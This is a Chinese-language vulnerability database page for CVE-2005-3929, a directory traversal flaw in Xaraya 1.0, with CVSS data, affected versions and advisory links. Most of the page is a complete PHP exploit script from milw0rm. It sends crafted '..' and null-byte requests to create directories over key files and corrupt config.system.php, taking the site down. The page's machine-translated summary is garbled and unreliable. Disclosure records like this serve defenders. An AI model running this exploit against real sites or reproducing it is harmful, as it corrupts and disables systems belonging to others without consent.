CVE-2005-3929
CVSS5.0
发布时间 :2005-11-30 06:03:00
修订时间 :2011-03-07 21:27:23
NMOE    

[原文]Directory traversal vulnerability in the create function in xarMLSXML2PHPBackend.php in Xaraya 1.0 allows remote attackers to create directories and overwrite arbitrary files via ".." sequences in the module parameter to index.php.


[CNNVD]CNNVD数据暂缺。


[机译]创建功能与特点1.0在xarMLSXML2PHPBackend.php在目录遍历漏洞,远程攻击者可以创建目录和覆盖任意文件,通过“..”

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:xaraya:xaraya:1.0_rc1
cpe:/a:xaraya:xaraya:1.0_rc3
cpe:/a:xaraya:xaraya:1.0_rc4
cpe:/a:xaraya:xaraya:1.0_rc2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3929
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-3929
(官方数据源) NVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2005/2665
(UNKNOWN)  VUPEN  ADV-2005-2665
http://www.securityfocus.com/bid/15623
(UNKNOWN)  BID  15623
http://www.securityfocus.com/archive/1/archive/1/418087/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20051129 Xaraya <= 1.0.0 RC4 D.O.S / file corruption
http://rgod.altervista.org/xaraya1DOS.hmtl
(VENDOR_ADVISORY)  MISC  http://rgod.altervista.org/xaraya1DOS.hmtl
http://www.securityfocus.com/archive/1/archive/1/418209/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051130 Re: Re: Xaraya <= 1.0.0 RC4 D.O.S / file corruption
http://www.securityfocus.com/archive/1/archive/1/418191/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051130 Re: Xaraya <= 1.0.0 RC4 D.O.S / file corruption
http://securityreason.com/securityalert/217
(UNKNOWN)  SREASON  217
http://secunia.com/advisories/17788
(UNKNOWN)  SECUNIA  17788

- 漏洞信息 (1345)

Xaraya <= 1.0.0 RC4 create() Denial of Service Exploit (EDBID:1345)
php webapps
2005-11-29 Verified
0 rgod
N/A [点击下载]
<?php
#   ---Xaraya_DOS.php                                     17.30 28/11/2005     #
#                                                                              #
#                         Xaraya <=1.0.0 RC4 D.O.S                             #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Hold out baits to entice the enemy. Feign disorder,               #
#  and crush him."                                                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ******** Xaraya <=1.0.0 rc4 Denial of Service *********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********** Xaraya <=1.0.0 rc4 Denial of Service ******** </p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/xaraya/  or just / ) </span></p></p><p> <input type="text" name="port">   <span
class="Stile5">specify  a  port   other than  80 ( default  value ) </span> </p>
<p>  <input  type="text"   name="proxy"><span class="Stile5">  send  exploit
through an  HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>';


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$proxy=$_POST[proxy];

if (($host<>'') and ($path<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage

  $request[0]="index.php?module=".$KEYFILE;
  $request[1]="index.php?module=".$HTACCESS;
  $request[2]="index.php?module=".$CONFIGFILE;
  $request[3]="index.php";

  for($i=0; $i<=count($request)-1; $i++)
  {
    $packet="GET ".$p.$request[$i]." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Zoo Tycoon 2 Client\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
  }
  if (eregi('fatal error',$html)) {echo "Exploit succeeded...";}
                                      else   {echo "Exploit failed...";}
  }
else
  {echo "Fill * required fields, optionally specify a proxy";}
?>

# milw0rm.com [2005-11-29]
		

- 漏洞信息

21249
Xaraya index.php module Variable Arbitrary File/Directory Manipulation
Remote / Network Access
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-11-29 Unknow
2005-11-29 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站